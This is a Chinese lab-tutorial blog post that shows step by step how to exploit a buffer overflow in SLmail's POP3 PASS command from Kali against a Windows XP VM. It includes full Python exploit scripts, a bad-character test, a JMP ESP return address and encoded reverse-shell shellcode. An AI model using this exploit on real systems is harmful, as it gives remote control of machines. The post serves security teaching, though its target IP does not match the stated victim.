Kali學習筆記22:緩衝區溢出漏洞利用實驗

来源:https://www.cnblogs.com/xuyiqing/archive/2018/10/31/9875951.html
-Advertisement-
Play Games

實驗機器: Kali虛擬機一臺(192.168.163.133) Windows XP虛擬機一臺(192.168.163.130) 如何用Kali虛擬機一步一步“黑掉”這個windowsXP虛擬機呢? 用到的軟體: SLmail程式(存在緩衝區溢出漏洞) ImmunityDebugger(調試工具) ...


實驗機器:

Kali虛擬機一臺(192.168.163.133)

Windows XP虛擬機一臺(192.168.163.130)

 

如何用Kali虛擬機一步一步“黑掉”這個windowsXP虛擬機呢?

 

用到的軟體:

SLmail程式(存在緩衝區溢出漏洞)

ImmunityDebugger(調試工具)

mona腳本(配合調試工具使用)

這些在準備工作的文章中有百度網盤下載地址

 

實驗目的:

用Kali虛擬機發送腳本,完成對SLmail程式的緩衝區溢出漏洞的利用

從而獲取目標windows機器的最高許可權

粗俗來說:黑了這個windows機器

 

緩衝區溢出漏洞的概念以及實驗準備:

https://www.cnblogs.com/xuyiqing/p/9835561.html

 

緩衝區溢出實驗(漏洞發現):

https://www.cnblogs.com/xuyiqing/p/9849072.html

 

接著上篇文章:

 上次以及精確定位到EIP在2606位置

 那麼是否可以修改ESP寄存器呢?

 如何確認ESP寄存器的大小呢?

 寫一個小腳本:

#!/usr/bin/python
import socket

buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3500 - 2606 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

OK,隔了一段時間,先確認下有限伺服器是否有問題:

 

沒有問題,打開調試工具,attach到SLmail,可以嘗試腳本:

 

 

看看調試工具:

EIP被精確地塞滿B,ESP被塞滿C

 

選中ESP右鍵Follow in dump:

再右鍵Hex選擇ascii 16bytes格式顯示:

觀察C地起始位置和結束位置:

 

就我這裡而言:起始地址0212A158,終止地址:0212A2F8

計算:

打開科學計算器,16進位計算,2F8-158,得到結果1A0

 

轉換成10進位是416

 

思路:

通常使用的shellcode至少需要300位元組左右

這裡416個位元組是足夠的

如果我ESP這裡上傳一個shellcode,通過修改EIP的地址

讓程式跳轉到ESP寄存器,提取Shellcode代碼執行

接下來就可以獲取目標機器的最高許可權

 

接下來我們具體實現:

 其實思路看似很簡單,但是這之中還有一些細節問題必須要解決:

比如:有些字元在緩衝區有特定用途,不可以作為代碼使用

就像0x00,終止字元串拷貝操作,0x0D,表示命令輸入完畢

而這些字元根據協議和程式不同而不同,這些壞字元是不可以出現在緩衝區的

 

所以,我們需要先解決這些壞字元:確認哪些字元是壞字元

寫一個腳本來確認:

發送0x00-0xff一共256個字元,一個一個地確認

想辦法拼湊這些字元:然後發送

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")

buffer = "A" * 2606 + "B" * 4 + badchars
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

 

OK,我們來試試(如果Slmail服務崩了重啟一下):

 發送過去看看調試工具:選擇ESP右鍵dump看詳細

 

 

仔細觀察:發現01到09都發送過去了,而0A以後出問題了,緩衝區不能接收0A字元

大膽猜測:0A是個壞字元

OK,那麼我們把腳本裡面的0A去掉:

繼續執行腳本:(註意重啟POP服務)

 

不錯,發現除了去掉的0A,00和0D(0D被過濾掉了),其他的字元全部都出現了

 

於是可以總結出:緩衝區的字元不能出現0A,0D,00

 

接下來就可以做數據的重定向:

把EIP四個位元組改為ESP的地址理論上CPU在EIP提取地址讀取然後執行

 

看似很簡單,其實還有很多的細節要處理

比如:ESP的地址是變化的,不可以硬編碼

因為:Slmail是基於線程的應用程式,操作系統給每個線程分配一個地址範圍,每個線程地址範圍隨機

 

變通思路

目標記憶體地址變動時候,在記憶體中尋找一個操作系統自帶的模塊,而且這個模塊的地址是固定

找個一個不變的記憶體地址,調用系統模塊的JMP,ESP指令的地址,再由該指令間接跳轉

 

即:把Slmail的EIP寄存器放入上邊說到的這個固定模塊的JMP,ESP指令的地址,CPU讀取JMP,ESP記憶體地址,進而跳到shellcode

 

形象來說:就是某男想要追女神,但不知道她的微信,但某男認識她的閨蜜,這樣一來就可以得到女神微信了(可能不合適,大概理解下)

 

接下來呢?

如何知道哪個系統模塊的地址是固定的呢?

這裡就需要用到準備工作裡面的mona.py腳本(把腳本放在調試工具目錄裡面)

 左下角輸入!mona modules查詢所有系統模塊:

 

關註rebase這一欄:重啟記憶體地址是否變化,我們必須找false的

ASLR和SafeSEH和NSCompat都是保護記憶體的項目

因此,我們要找前四項都是false的

 

OS dll這一列要選true,不同系統都可以利用的

 

仔細尋找後,發現:OpenC32.dll可以使用

 

繼續使用mona查詢下OpenC32.dll裡面是否有JMP,ESP指令可以調用:

!mona find -s" " -m module 命令可以查詢

註意查詢命令不可以直接查JMP ESP

這是彙編指令,而記憶體中使用的是二進位

 

這裡需要使用Kali系統自帶的一個工具:可以將彙編指令轉換成二進位

 

 

發現轉換成二進位是FFE4:

 

搜索FFE4:

沒找到:

 

一樣的方法在下麵找找:

只有SLMFC.DLL和MFC42LOC.DLL前四項false,最後一項true

 

分別試下:

 

 

終於找到了!哈哈

而且有19條(由於Slmail不含有很記憶體保護機制,所以理論上這19個都可以實現利用)

如果有記憶體保護機制,需要下麵這個有R(讀)和E(執行)許可權的(菜單欄點擊m打開記憶體地圖)

 

19條中隨便打開一個,右鍵dis開頭的選項:

找到了:5F4B41E3地址

 

接下來就可以使用這個地址

可以地址右鍵memory on access(開啟斷點)後邊測試看

 

繼續,我們針對這個寫一個腳本:(註意地址要反過來寫)

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "C" * 390
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

測試:正確跳轉

 

接下來就是最後一部了:

把ESP裡面這一堆C修改成Shellcode

 那麼shellcode怎麼獲取呢?

 

利用Kali裡面現成的shellcode:

msfpayload

 

具體使用:

我的思路是Kali機器開一個埠,讓windows機器自己連過來

這樣可以避免被防火牆屏蔽(雖然現在我把防火牆關了)

讓目標把shell給我

 

指定反向連接的IP和埠,針對win32

 

這裡就生成了一個shellcode

 

但是這個shellcode不能直接用,因為含有壞字元

所以要去掉壞字元

這裡就要用到另一個工具了:Msfencode

 

把這些shellcode複製出來,繼續寫一個腳本:

這裡加了8個\x90是什麼意思呢?

彙編語言的\x90意思是不操作

這裡是為了保障彙編語言運行的有效性(經驗之談,防止異常)

 

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ("\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xab\x9c\x6d" +
             "\xf8\x83\xeb\xfc\xe2\xf4\x57\xf6\x86\xb5\x43\x65\x92\x07\x54\xfc" +
             "\xe6\x94\x8f\xb8\xe6\xbd\x97\x17\x11\xfd\xd3\x9d\x82\x73\xe4\x84" +
             "\xe6\xa7\x8b\x9d\x86\xb1\x20\xa8\xe6\xf9\x45\xad\xad\x61\x07\x18" +
             "\xad\x8c\xac\x5d\xa7\xf5\xaa\x5e\x86\x0c\x90\xc8\x49\xd0\xde\x79" +
             "\xe6\xa7\x8f\x9d\x86\x9e\x20\x90\x26\x73\xf4\x80\x6c\x13\xa8\xb0" +
             "\xe6\x71\xc7\xb8\x71\x99\x68\xad\xb6\x9c\x20\xdf\x5d\x73\xeb\x90" +
             "\xe6\x88\xb7\x31\xe6\xb8\xa3\xc2\x05\x76\xe5\x92\x81\xa8\x54\x4a" +
             "\x0b\xab\xcd\xf4\x5e\xca\xc3\xeb\x1e\xca\xf4\xc8\x92\x28\xc3\x57" +
             "\x80\x04\x90\xcc\x92\x2e\xf4\x15\x88\x9e\x2a\x71\x65\xfa\xfe\xf6" +
             "\x6f\x07\x7b\xf4\xb4\xf1\x5e\x31\x3a\x07\x7d\xcf\x3e\xab\xf8\xdf" +
             "\x3e\xbb\xf8\x63\xbd\x90\x6b\x34\xce\x7c\xcd\xf4\x6c\x44\xcd\xcf" +
             "\xe4\x19\x3e\xf4\x81\x01\x01\xfc\x3a\x07\x7d\xf6\x7d\xa9\xfe\x63" +
             "\xbd\x9e\xc1\xf8\x0b\x90\xc8\xf1\x07\xa8\xf2\xb5\xa1\x71\x4c\xf6" +
             "\x29\x71\x49\xad\xad\x0b\x01\x09\xe4\x05\x55\xde\x40\x06\xe9\xb0" +
             "\xe0\x82\x93\x37\xc6\x53\xc3\xee\x93\x4b\xbd\x63\x18\xd0\x54\x4a" +
             "\x36\xaf\xf9\xcd\x3c\xa9\xc1\x9d\x3c\xa9\xfe\xcd\x92\x28\xc3\x31" +
             "\xb4\xfd\x65\xcf\x92\x2e\xc1\x63\x92\xcf\x54\x4c\x05\x1f\xd2\x5a" +
             "\x14\x07\xde\x98\x92\x2e\x54\xeb\x91\x07\x7b\xf4\x9d\x72\xaf\xc3" +
             "\x3e\x07\x7d\x63\xbd\xf8")

buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

發送過去!

理想情況:如果腳本執行成功,會反彈回連444埠

所以我先偵聽kali的444埠:

 

成功!我們可以操作windows系統了!

 OK!拿下了windowsxp系統(亂碼小問題,不用在意)

 

成功黑掉了windowsxp機器,哈哈哈

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • dump 檢查ext2/3/4文件系統,確定哪些文件需要備份,這些需要備份的文件將會被覆制到指定的磁碟或者其他存儲介質。dump檢查Ext 2/3/4文件系統上的文件,並確定哪些文件需要備份。這些文件被覆制到給定的磁碟、磁帶或其他存儲介質中以確保全全保存(請參閱下麵的-f選項以進行遠程備份)。大於輸 ...
  • 一.命令格式: cp [參數] source dest 或 cp [參數] source... directory 二.命令功能: 將源文件複製至目標文件,或將多個源文件複製至目標目錄。 三. 命令參數: |參數|描述| | | | | a|此選項通常在複製目錄時使用,它保留鏈接、文件屬性,並複製目 ...
  • 文章的格式也許不是很好看,也沒有什麼合理的順序 完全是想到什麼寫一些什麼,但各個方面都涵蓋到了 能耐下心看的朋友歡迎一起學習,大牛和杠精們請繞道 基本的控制台命令介紹: banner 查看metasploit的基本信息 connect 這裡理解成kali的nc命令,基本一致 簡單使用下: show ...
  • 一、ftp安裝 1、安裝vsftpd 命令:yum -y install vsftpd 2、修改ftp配置文件 命令:vim /etc/vsftpd/vsftpd.conf 3、按i進入insert模式後,按以下要求修改 anonymous_enable=YES 改為anonymous_enable ...
  • 一、自述 最近剛剛接觸linux,因為我設置密碼比較隨性,把自己做系統的時候設置的root密碼給forget,每當系統崩潰,重新把虛擬機備份還原後,就面臨無法登陸的尷尬情況,只得重置root密碼,好了,開始記錄我的linux學習歷程—— 二、過程 首先,我們開機,出現如下引導界面,按e,進入內核編輯 ...
  • 雖然我對路由器沒什麼興趣,但是緊跟潮流還是有必要的,現在因為網路閉關鎖國政策,很多人都想自己搭配一臺私人的伺服器,不想被商業公司左右數據安全。我感覺這個是一個商機,建議大家可以朝這個方向發展。這裡最關鍵的一步,其實就是私人智能路由器,俗稱軟路由的搭建。這裡我記錄個人學習LEDE軟路由的經驗,和大家分... ...
  • 工具/原料 win7旗艦版系統 筆記本一臺 WIN7下怎麼安裝iis教程: 點擊開始→控制面板,然後再點擊程式和功能,勿點擊卸載程式,否則到不了目標系統界面。 然後在程式和功能下麵,點擊打開和關閉windows功能。 進入Windows功能視窗,然後看到internet信息服務選項,然後按照圖中設置 ...
  • 1. 首先去官方網站下載壓縮文件:https://dev.mysql.com/downloads/mysql/ 2. 解壓下載的文件。 3. 將解壓的所有文件放在一個文件夾里(最好是C:\Program Files\MySQL\里(Mysql文件夾是自己創建的),其他位置也可以,我安裝在D盤上,下為... ...
一周排行
    -Advertisement-
    Play Games
  • 前言 本文介紹一款使用 C# 與 WPF 開發的音頻播放器,其界面簡潔大方,操作體驗流暢。該播放器支持多種音頻格式(如 MP4、WMA、OGG、FLAC 等),並具備標記、實時歌詞顯示等功能。 另外,還支持換膚及多語言(中英文)切換。核心音頻處理採用 FFmpeg 組件,獲得了廣泛認可,目前 Git ...
  • OAuth2.0授權驗證-gitee授權碼模式 本文主要介紹如何筆者自己是如何使用gitee提供的OAuth2.0協議完成授權驗證並登錄到自己的系統,完整模式如圖 1、創建應用 打開gitee個人中心->第三方應用->創建應用 創建應用後在我的應用界面,查看已創建應用的Client ID和Clien ...
  • 解決了這個問題:《winForm下,fastReport.net 從.net framework 升級到.net5遇到的錯誤“Operation is not supported on this platform.”》 本文內容轉載自:https://www.fcnsoft.com/Home/Sho ...
  • 國內文章 WPF 從裸 Win 32 的 WM_Pointer 消息獲取觸摸點繪製筆跡 https://www.cnblogs.com/lindexi/p/18390983 本文將告訴大家如何在 WPF 裡面,接收裸 Win 32 的 WM_Pointer 消息,從消息裡面獲取觸摸點信息,使用觸摸點 ...
  • 前言 給大家推薦一個專為新零售快消行業打造了一套高效的進銷存管理系統。 系統不僅具備強大的庫存管理功能,還集成了高性能的輕量級 POS 解決方案,確保頁面載入速度極快,提供良好的用戶體驗。 項目介紹 Dorisoy.POS 是一款基於 .NET 7 和 Angular 4 開發的新零售快消進銷存管理 ...
  • ABP CLI常用的代碼分享 一、確保環境配置正確 安裝.NET CLI: ABP CLI是基於.NET Core或.NET 5/6/7等更高版本構建的,因此首先需要在你的開發環境中安裝.NET CLI。這可以通過訪問Microsoft官網下載並安裝相應版本的.NET SDK來實現。 安裝ABP ...
  • 問題 問題是這樣的:第三方的webapi,需要先調用登陸介面獲取Cookie,訪問其它介面時攜帶Cookie信息。 但使用HttpClient類調用登陸介面,返回的Headers中沒有找到Cookie信息。 分析 首先,使用Postman測試該登陸介面,正常返回Cookie信息,說明是HttpCli ...
  • 國內文章 關於.NET在中國為什麼工資低的分析 https://www.cnblogs.com/thinkingmore/p/18406244 .NET在中國開發者的薪資偏低,主要因市場需求、技術棧選擇和企業文化等因素所致。歷史上,.NET曾因微軟的閉源策略發展受限,儘管後來推出了跨平臺的.NET ...
  • 在WPF開發應用中,動畫不僅可以引起用戶的註意與興趣,而且還使軟體更加便於使用。前面幾篇文章講解了畫筆(Brush),形狀(Shape),幾何圖形(Geometry),變換(Transform)等相關內容,今天繼續講解動畫相關內容和知識點,僅供學習分享使用,如有不足之處,還請指正。 ...
  • 什麼是委托? 委托可以說是把一個方法代入另一個方法執行,相當於指向函數的指針;事件就相當於保存委托的數組; 1.實例化委托的方式: 方式1:通過new創建實例: public delegate void ShowDelegate(); 或者 public delegate string ShowDe ...